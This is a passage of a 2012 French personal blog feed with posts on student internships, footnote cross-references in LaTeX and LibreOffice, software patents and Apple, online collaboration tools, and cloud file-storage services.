&lt;p&gt;Le but était de forcer les utilisateurs à se connecter avec leurs identifiants plutôt qu&amp;rsquo;avec le compte &lt;em&gt;guest&lt;/em&gt; et de permettre de changer facilement (et très régulièrement) les accès &lt;em&gt;guest&lt;/em&gt; au wifi. La solution mise en place fait intervenir &lt;a href="http://openldap.org"&gt;OpenLDAP&lt;/a&gt; et &lt;a href="http://freeradius.org/"&gt;FreeRadius&lt;/a&gt;. Le stage me parrait intéressant dès lors que la technologie n&amp;rsquo;est pas connue de l&amp;rsquo;étudiant… et que l&amp;rsquo;ensemble est mis en production au terme du stage.&lt;/p&gt;
&lt;h3&gt;Les stages de gestion&lt;/h3&gt;
&lt;p&gt;Ces stages appellent peu de commentaires de ma part car ils sont très spécifiques et orientés entreprises.&lt;/p&gt;
&lt;p&gt;Ils sont tout aussi intéressant que les autres et, cependant, ils mettent en œuvre des technologies éprouvées et connues; &lt;a href="http://java.oracle.com"&gt;Java&lt;/a&gt;, &lt;a href="https://www.microsoft.com/net"&gt;.NET&lt;/a&gt; C#,… sur lesquelles je ne m&amp;rsquo;étend pas.&lt;/p&gt;
&lt;p&gt;Citons quand même le stage d&amp;rsquo;un étudiant, spécialiste et (un peu) amoureux du &lt;a href="http://groups.engin.umd.umich.edu/CIS/course.des/cis400/cobol/cobol.html"&gt;COBOl&lt;/a&gt; qui s&amp;rsquo;est intéressé à la migration d&amp;rsquo;une application &lt;em&gt;mainframe&lt;/em&gt; vers une structure Unix / Apache / MySQL / PHP (&lt;em&gt;aka&lt;/em&gt; &lt;a href="http://lamphowto.com/"&gt;lamp&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Une question subsiste:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si une application fonctionne bien en COBOL sur une architecture stable comme le &lt;em&gt;mainframe&lt;/em&gt;. Quelle est la valeur ajoutée de la porter sur une architecture LAMP et, surtout, quelle va être sa durée de vie ?&lt;/p&gt;
&lt;p&gt;Écho d&amp;rsquo;un collègue lors des présentations de stage&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Merci à tous nos étudiants sortant pour ces quelques jours où nous oublions les difficultés (et leur manque de motivation souvent) des étudiants de premières pour voir que notre investissement n&amp;rsquo;est pas vain et que la qualité des stages et des stagiaires est au rendez-vous.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Liens&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://bephoto.be"&gt;Bephoto&lt;/a&gt;, entreprise d&amp;rsquo;un ancien étudiant acceptant des stagiaires&lt;/li&gt;
&lt;li&gt;&lt;a href="http://freeradius.org"&gt;Free radius&lt;/a&gt;, serveur radius libre permettant la gestion de points d&amp;rsquo;accès wifi et l&amp;rsquo;authentification centralisée&lt;/li&gt;
&lt;li&gt;&lt;a href="http://openldap.org"&gt;openldap&lt;/a&gt;, implémentation libre d&amp;rsquo;un annuaire LDAP&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.microsoft.com/net"&gt;.NET&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://java.oracle.com"&gt;Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.namok.be/trello.com"&gt;Trello&lt;/a&gt;, outil permettant la gestion de tâches dans un projet&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lamphowto.com/"&gt;LAMP how to&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;À lire aussi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-06-20-Presentation-de-stages-et-autres-jurys.html"&gt;Présentation de stages et autres jurys&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Ça permettra, c&amp;rsquo;est selon, d&amp;rsquo;accroitre son son comfort de travail… ou de le virer \^\^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Le maître de stage me pécisait que l&amp;rsquo;optimisation du code a un impact immédiat sur la facture&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je peux facilement contrôler mes quotas… et c&amp;rsquo;est conseillé de le faire&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Le nom que le point d&amp;rsquo;accès présente sur le réseau&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Deux renvois à la même note de bas de page</title><link href="http://blog.namok.be/2012-06-20-deux-renvois-a-la-meme-note-de-bas-de-page.html" rel="alternate"/><published>2012-06-20T00:00:00+02:00</published><updated>2012-06-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-06-20:/2012-06-20-deux-renvois-a-la-meme-note-de-bas-de-page.html</id><summary type="html">En LaTeX et avec LibreOffice, comment faire deux fois référence à la même note</summary><content type="html">&lt;p&gt;Régulièrement je me demande comment je peux faire deux renvois à la même note de bas de page, un peu comme ça.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lorem ipsum dolor sit amet &lt;strong&gt;(1)&lt;/strong&gt;, consectetur adipiscing elit. Mauris diam quam, imperdiet vel interdum non, gravida quis nisi. Phasellus lacus risus &lt;strong&gt;(1)&lt;/strong&gt;, blandit sed ullamcorper vel, porttitor eu diam. Nullam sodales tellus at turpis scelerisque auctor.&lt;br&gt;
Vestibulum pellentesque ullamcorper tortor at egestas. Quisque aliquam, eros id faucibus ullamcorper &lt;strong&gt;(2)&lt;/strong&gt;, dui dui ultricies felis, in vehicula metus risus id lacus.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(1) Integer fermentum, nibh ac luctus iaculis, felis odio condimentum leo, quis porta mi felis at libero.  &lt;/p&gt;
&lt;p&gt;(2) Quisque ac orci purus. Aenean lacinia neque sed mi tristique mattis id ut felis. In vestibulum dictum nisi, id facilisis odio blandit at.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et bien, c&amp;rsquo;est possible et facile…&lt;/p&gt;
&lt;p&gt;Je commence par la méthode &lt;strong&gt;LaTeX&lt;/strong&gt;. Il suffit de placer un label dans la note de bas de page et d&amp;rsquo;y faire référence par la suite. Ce qui donne&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Un peu de texte nécessitant la première note 
&lt;span class="k"&gt;\footnote&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\label&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;unlabel&lt;span class="nb"&gt;}&lt;/span&gt;Première note&lt;span class="nb"&gt;}&lt;/span&gt;. Et 
ensuite, la seconde note &lt;span class="k"&gt;\up&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\ref&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;unlabel&lt;span class="nb"&gt;}}&lt;/span&gt; 
faisant référence à la première.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour la méthode &lt;strong&gt;Openoffice / LibreOffice&lt;/strong&gt;, il faut;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;faire sa première note de bas de page; &lt;code&gt;Insert / Footnote&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;faire la seconde de cette manière;
    &lt;code&gt;Insert / Field / Other / Cross Reference / Footnotes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rapide, bref et précis… &lt;em&gt;enjoy&lt;/em&gt; !&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Tout ce que vous avez toujours voulu savoir sur &lt;a href="http://lipsum.com/"&gt;lorem ipsum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://openoffice.org"&gt;Openoffice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.oooforum.org/forum/viewtopic.phtml?t=4375&amp;amp;start=0"&gt;Forum openoffice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;… et pour la solution LaTeX, je ne me rappelle plus ma source&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Râleries de geeks</title><link href="http://blog.namok.be/2012-06-13-raleries-de-geeks.html" rel="alternate"/><published>2012-06-13T00:00:00+02:00</published><updated>2012-06-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-06-13:/2012-06-13-raleries-de-geeks.html</id><summary type="html">Les brevets logiciels, les logiciels propriétaires, c'est souvent beurk</summary><content type="html">&lt;p&gt;Maya, 4 ans, incapable de parler à cause de son handicap utilise une &lt;a href="http://www.speakforyourself.org/"&gt;application iPad&lt;/a&gt; pour communiquer.&lt;br&gt;
La suite &lt;strong&gt;semble&lt;/strong&gt; devenir geek mais non…&lt;/p&gt;
&lt;p&gt;Son père &lt;a href="http://niederfamily.blogspot.be/2012/03/goliath-v-david-aac-style.html"&gt;explique&lt;/a&gt; que cette application permet à sa fille de « parler ».&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;My daughter, Maya, will turn four in May and she can&amp;rsquo;t speak. The only word that she can consistently say with 100% clarity is &amp;ldquo;done&amp;rdquo;  — which, while helpful, isn&amp;rsquo;t really enough to functionally communicate. When Maya was two and a half we introduced her to the iPad, and we&amp;rsquo;ve danced with AAC (augmentative and alternative communication) ever since. (…) &lt;/p&gt;
&lt;p&gt;We found it: &lt;strong&gt;Speak for Yourself&lt;/strong&gt;.&lt;br&gt;
Simple and brilliant, we saw that it had the potential to serve Maya into adulthood, but was also simple enough for her to start using immediately.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://niederfamily.blogspot.be/2012/03/goliath-v-david-aac-style.html"&gt;niederfamily.blogspot.be&lt;/a&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Premiers pas de ladite Maya avec son application iPad;&lt;/p&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/PqI7En-lkL0?si=htmocJbRhwgcBT0E" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://www.youtube.com/watch?v=PqI7En-lkL0" target="_blank"&gt;La vidéo sur Youtube&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui deux sociétés portent plainte contre les développeurs de l&amp;rsquo;application car ils violent des brevets. L&amp;rsquo;application va / risque d&amp;rsquo;être supprimée… et la petite Maya va (peut-être / par exemple) devoir retourner à son &lt;a href="http://autismeinfantile.com/prise-en-charge/methodes/pecs/le-pecs-picture-exchange-communication-system/"&gt;classeur PECS&lt;/a&gt; :cursing_face: &lt;/p&gt;
&lt;p&gt;Je ne connais pas la petite Maya et il y a probablement des millions d&amp;rsquo;enfants et d&amp;rsquo;adultes dans son cas, ce que je veux dire concerne la politique d&amp;rsquo;Apple et des brevets logiciels (&lt;a href="http://fr.wikipedia.org/wiki/Controverse_sur_la_brevetabilit%C3%A9_du_logiciel"&gt;parfois controversés&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Petite parenthèse perso&lt;/strong&gt;. Ma fille a reçu un iPod pour écouter sa musique. 
Je n&amp;rsquo;ai pas trop l&amp;rsquo;envie de prendre le temps de faire fonctionner cet iPod avec ma machine linux. Pour moi, un lecteur mp3 se branche au PC et un glisser-déposer permet d&amp;rsquo;y mettre sa musique… pas besoin de soft.&lt;/p&gt;
&lt;p&gt;Avec cet iPod, je dois utiliser une application pour gérer la musique sur ledit iPod et ce n&amp;rsquo;est pas évident que ma fille puisse le mettre à jour de deux PC différents… donc ça me broute ;-)&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;exprime le fait que le choix d&amp;rsquo;un matériel Apple est déplorable pour moult raisons, on me rétorque, au mieux, que l&amp;rsquo;iPod c&amp;rsquo;est beau et ça marche bien et au pire, que j&amp;rsquo;y mets de la mauvaise volonté ! Jamais l&amp;rsquo;on ne se pose de questions sur la politique d&amp;rsquo;Apple.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, le cas de la petite Maya est &lt;strong&gt;peut-être&lt;/strong&gt; un peu plus parlant et permet de mieux comprendre, le &lt;a href="http://www.nosoftwarepatents.com/fr/m/basics/index.html"&gt;problème des brevets logiciels&lt;/a&gt; et des &lt;a href="http://blog.nalis.fr/index.php?post/2010/01/14/Richard-Stallman-du-Nespresso-%C3%A0-l-iphone-%3A-les-privateurs-de-libert%C3%A9s-%21"&gt;systèmes fermés&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Normalement, on commence par une citation, aujourd&amp;rsquo;hui ce sera la conclusion…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Le businessman&lt;/em&gt; : Quand tu trouves un diamant qui n&amp;rsquo;est à personne, il est à toi. Quand tu trouves une île qui n&amp;rsquo;est à personne, elle est à toi. Quand tu as une idée le premier, tu la fais breveter: elle est à toi. Et moi je possède les étoiles, puisque jamais personne avant moi n&amp;rsquo;a songé à les posséder.  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le petit prince&lt;/em&gt; : Moi, je possède une fleur que j&amp;rsquo;arrose tous les jours. Je possède trois volcans que je ramone toutes les semaines. Car je ramone aussi celui qui est éteint. On ne sait jamais. C&amp;rsquo;est utile à mes volcans, et c&amp;rsquo;est aussi utile à ma fleur, que je les possède. Mais tu n&amp;rsquo;es pas utile aux étoiles…  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Antoine de SaintExupéry, Le petit prince, ch. 13.&lt;/em&gt; intro d&amp;rsquo;un (long) article à lire &lt;a href="https://blog.namok.be/pauillac.inria.fr/~lang/ecrits/liste/arcelor.pdf"&gt;(pdf)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Sources&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://niederfamily.blogspot.be/2012/06/silencing-of-maya.html"&gt;http://niederfamily.blogspot.be&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://plus.google.com/u/0/118165493193465533929/posts/hq7kC2Dhhcx"&gt;Post de ploum&lt;/a&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.speakforyourself.org/"&gt;L&amp;rsquo;application Speak for Yourself&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.scribd.com/priorsmart/d/83475314-Semantic-Compaction-Systems-et-al-v-Speak-For-Yourself-et-al"&gt;La plainte (pdf)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nosoftwarepatents.com/fr/m/basics/index.html"&gt;nosoftwarepatents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.nalis.fr/index.php?post/2010/01/14/Richard-Stallman-du-Nespresso-%C3%A0-l-iphone-%3A-les-privateurs-de-libert%C3%A9s-%21"&gt;Du Nespresso à l&amp;rsquo;iPhone de nalis.fr&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Mon titre est issu de sa conclusion sur FB&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #9</title><link href="http://blog.namok.be/2012-04-26-vrac-9.html" rel="alternate"/><published>2012-04-26T00:00:00+02:00</published><updated>2012-04-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-04-26:/2012-04-26-vrac-9.html</id><summary type="html">Outils framasoft comme Framadate, etherpad (_pad_), et éditeur LaTeX en ligne…</summary><content type="html">&lt;p&gt;Quelques outils de collaboration que je découvre et que l&amp;rsquo;on peut ajouter à ceux que l&amp;rsquo;on connait déjà.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://framasoft"&gt;Framasoft&lt;/a&gt;, qui promeut le logiciel libre, nous propose différents outils.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Issu du monde éducatif, Framasoft est un réseau de sites web collaboratifs à géométrie variable dont le dénominateur commun est le logiciel libre et son état d&amp;rsquo;esprit. Il vise à diffuser le logiciel libre et à le faire connaître auprès du plus large public.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://framasoft.org"&gt;Framasoft&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je connais déjà &lt;a href="http://framadate.org"&gt;Framadate&lt;/a&gt; (un clone libre de &lt;a href="http://doodle.com"&gt;Doodle&lt;/a&gt;) et je découvre &lt;a href="http://framapad.org"&gt;Framapad&lt;/a&gt; une utilisation de &lt;a href="http://etherpad.org"&gt;Etherpad&lt;/a&gt;. Un service (version plus récente) se trouve chez &lt;a href="http://pad.riseup.net"&gt;pad.riseup.net&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;pad&lt;/em&gt; est un document en ligne facilement modifiable par plusieurs utilisateurs… pour peu qu&amp;rsquo;ils connaissent le lien. Ces collaborateurs peuvent modifier « à la volée » le document, peuvent &lt;em&gt;chatter&lt;/em&gt; dans une petite fenêtre. Une fois le document près, il peut être exporté dans divers formats.&lt;/p&gt;
&lt;p&gt;Point &lt;em&gt;fun&lt;/em&gt;, il est possible de &lt;strong&gt;revoir&lt;/strong&gt; toutes les modifications sous forme de vidéo, précisant qui a modifié le document et quand.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Etherpad is a hosted web service that allows really real-time document collaboration for groups of users.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://etherpad.org"&gt;Etherpad&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ceux parmi vous qui veulent que ce soit un tiers qui héberge les documents peuvent utiliser &lt;a href="http://libredocs.org/"&gt;LibreDocs&lt;/a&gt;. Libredocs utilise Etherpad &lt;strong&gt;mais&lt;/strong&gt; sur un document hébergé ailleurs. Pour l&amp;rsquo;instant, ils proposent &lt;a href="https://owncube.com"&gt;OwnCube&lt;/a&gt; (qui implémente &lt;a href="http://owncloud.org"&gt;OwnCloud&lt;/a&gt; dont j&amp;rsquo;ai parlé &lt;a href="2012-04-25-mes-fichiers-dans-les-nuages.html"&gt;dans mon billet précédent&lt;/a&gt;) comme plateforme d&amp;rsquo;hébergement du document. C&amp;rsquo;est peut-être un peu parano (et le mouvement est là &lt;a href="http://unhosted.org/#introduction"&gt;Unhosted&lt;/a&gt;)… ou pratique suivant sa situation.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est pratique si je commence un document que j&amp;rsquo;héberge dans « ma partie de nuage » et que je veux autoriser d&amp;rsquo;autres contributeurs à le modifier. Le document reste « ma propriété ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-padriseupnet.png" src="/images/screenshot-padriseupnet.png" title="screenshot-padriseupnet.png, avr. 2012" width="100%"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Pour ceux qui veulent s&amp;rsquo;essayer à &lt;a href="http://www.latex-project.org/"&gt;LaTeX&lt;/a&gt; sans rien installer (pour l&amp;rsquo;instant), &lt;a href="http://writelatex.com"&gt;WriteLatex&lt;/a&gt; permet de visualiser le document final en cours de frappe. Pratique pour l&amp;rsquo;essai d&amp;rsquo;un petit document.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-latexwrite.png" src="/images/screenshot-latexwrite.png" title="screenshot-latexwrite.png, avr. 2012" width="100%"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Un clone de &lt;a href="https://blog.namok.be/pastebin.com"&gt;Pastebin&lt;/a&gt; très très simplifié et dont les données sont cryptées par le client avant d&amp;rsquo;être envoyée au serveur… le serveur n&amp;rsquo;a donc aucune info sur les données qu&amp;rsquo;il stocke. C&amp;rsquo;est
&lt;a href="http://sebsauvage.net/wiki/doku.php?id=php:zerobin"&gt;ZeroBin&lt;/a&gt; et on peut
le &lt;a href="http://sebsauvage.net/paste/"&gt;tester là&lt;/a&gt; ou &lt;a href="https://pad.esigoto.info"&gt;là&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-zerobin.png" src="/images/screenshot-zerobin.png" title="screenshot-zerobin.png, avr. 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2012-04-25-mes-fichiers-dans-les-nuages.html"&gt;Mes fichiers dans les nuages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2012-02-07-vrac-8.html"&gt;Vrac #8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-11-24-vrac-7.html"&gt;Vrac #7&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Sources et liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://etherpad.org"&gt;Etherpad&lt;/a&gt; proposé chez &lt;a href="http://framapad.org"&gt;Framapad&lt;/a&gt; et chez &lt;a href="http://pad.riseup.net"&gt;Riseup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://libredocs.org/"&gt;LibreDocs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.namok.be/writelatex.com"&gt;WriteLatex&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://unhosted.org/#introduction"&gt;Unhoste&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sebsauvage.net/wiki/doku.php?id=php:zerobin"&gt;ZeroBin&lt;/a&gt; chez &lt;a href="http://sebsauvage.net/rhaa/"&gt;SebSAuvage&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Mes fichiers dans les nuages</title><link href="http://blog.namok.be/2012-04-25-mes-fichiers-dans-les-nuages.html" rel="alternate"/><published>2012-04-25T00:00:00+02:00</published><updated>2012-04-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-04-25:/2012-04-25-mes-fichiers-dans-les-nuages.html</id><summary type="html">Quand la sauvegarde des fichiers dans le _cloud_ devient possible, il faut choisir.</summary><content type="html">&lt;p&gt;Aujourd&amp;rsquo;hui, mes fichiers ne se trouvent plus spécialement sur mon ordinateur puisque je veux y accéder de plusieurs endroits différents; mon laptop, mon smartphone et les machines du boulot.&lt;/p&gt;
&lt;p&gt;Finis les clés USB et autres disques durs externes, tout se passe dans le nuage (&lt;em&gt;the cloud&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Oui mais quel service choisir ?&lt;/p&gt;
&lt;p&gt;Mes exigences ne sont probablement pas les mêmes que les vôtres. Ma principale est que l&amp;rsquo;on ne m&amp;rsquo;impose pas un &lt;a href="http://fr.wikipedia.org/wiki/Syst%C3%A8me_d%27exploitation"&gt;OS&lt;/a&gt;. Le service doit donc fonctionner via une interface web ou fournir des clients pour &lt;a href="http://linuxfr.org"&gt;linux&lt;/a&gt;, &lt;a href="http://microsoft.com"&gt;MS Windows&lt;/a&gt; et &lt;a href="http://apple.com"&gt;MAC OS&lt;/a&gt;. Exit donc les services (intégrés à l&amp;rsquo;OS) comme;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://icloud.com"&gt;iCloud&lt;/a&gt; disponible pour les &lt;em&gt;maceux&lt;/em&gt; uniquement&lt;/li&gt;
&lt;li&gt;&lt;a href="https://login.live.com/login.srf?wa=wsignin1.0&amp;amp;rpsnv=11&amp;amp;ct=1335336235&amp;amp;rver=6.1.6206.0&amp;amp;wp=MBI_SSL_SHARED&amp;amp;wreply=https:%2F%2Fskydrive.live.com%2F&amp;amp;lc=1036&amp;amp;id=250206&amp;amp;mkt=fr-FR&amp;amp;cbcxt=sky"&gt;SkyDrive&lt;/a&gt;
    pour MS Windows et dérivés ... rien en linux ou &lt;a href="http://www.android.com/about/"&gt;Androïd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://one.ubuntu.com"&gt;Ubuntu one&lt;/a&gt; permet la synchronisation comme dropbox le propose mais le &lt;a href="https://one.ubuntu.com/help/tutorial/install-and-setup-ubuntu-one-8/"&gt;client ne semble dispo que pour Ubuntu&lt;/a&gt; et &lt;a href="https://one.ubuntu.com/downloads/windows/install/"&gt;Windows&lt;/a&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sugarsync.com/"&gt;SugerSync&lt;/a&gt; dispo pour Windows et MAC (je n&amp;rsquo;ai pas testé plus avant)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dropbox&lt;/h3&gt;
&lt;p&gt;Probablement le plus connu, le plus répandu et le plus abouti, &lt;a href="http://dropbox.com"&gt;dropbox&lt;/a&gt; offre du stockage et la possibilité de &lt;strong&gt;« mettre un répertoire local dans le &lt;em&gt;cloud&lt;/em&gt; »&lt;/strong&gt;. Il suffit de définir un répertoire local comme étant synchronisé dans &lt;em&gt;le cloud&lt;/em&gt; et ça roule !&lt;/p&gt;
&lt;p&gt;Ce que j&amp;rsquo;aime c&amp;rsquo;est que ce répertoire peut ne contenir que des &lt;em&gt;liens soft&lt;/em&gt; ce qui est bien pratique pour choisir ce que l&amp;rsquo;on met « dans sa dropbox »&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.zdnet.com/blog/igeneration/dropbox-20-still-the-best-choice-for-students/14010?tag=btxcsim"&gt;Zdnet nous dit que ça reste le meilleur choix pour les étudiants&lt;/a&gt; et je suis d&amp;rsquo;accord.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En utilisant nos Services, vous nous fournissez les informations, fichiers et dossiers que vous envoyez à Dropbox (collectivement désignés sous l&amp;rsquo;appellation « vos effets »). Vous conservez l&amp;rsquo;entière propriété de vos effets. Nous ne revendiquons aucun droit de propriété de vos effets. Les présentes Conditions ne nous accordent aucun droit sur vos effets ou votre propriété intellectuelle, à l&amp;rsquo;exception des droits limités requis pour l&amp;rsquo;exécution des Services, comme cela vous l&amp;rsquo;est expliqué ci-après.&lt;/p&gt;
&lt;p&gt;Extrait des &lt;a href="https://www.dropbox.com/terms"&gt;conditions d&amp;rsquo;utilisation&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Box&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.box.com/pricing/"&gt;Box&lt;/a&gt; ne semble proposer qu&amp;rsquo;une interface web pour le partage des fichiers ... ce qui parrait maigre à nouveau. De plus, je dois fournir un numéro de téléphone pour créer un compte&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Par contre, Box peut se distinguer car il propose un &lt;a href="http://blog.box.com/2012/03/take-teamwork-to-the-next-level-with-new-collaboration-features/"&gt;outil de collaboration&lt;/a&gt; qui permet de commenter un document et de travailler à plusieurs dessus… ce qui &lt;strong&gt;semble très intéressant&lt;/strong&gt;. Je retiens.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Social-Workflow-screenshots-_reply-736x368.png" src="/images/Social-Workflow-screenshots-_reply-736x368.png" title="Social-Workflow-screenshots-_reply-736x368.png, avr. 2012"&gt;&lt;/p&gt;
&lt;p&gt;Image from &lt;a class="center" href="http://blog.box.com/2012/03/take-teamwork-to-the-next-level-with-new-collaboration-features"&gt;blog.box.com&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Amazon cloud drive&lt;/h3&gt;
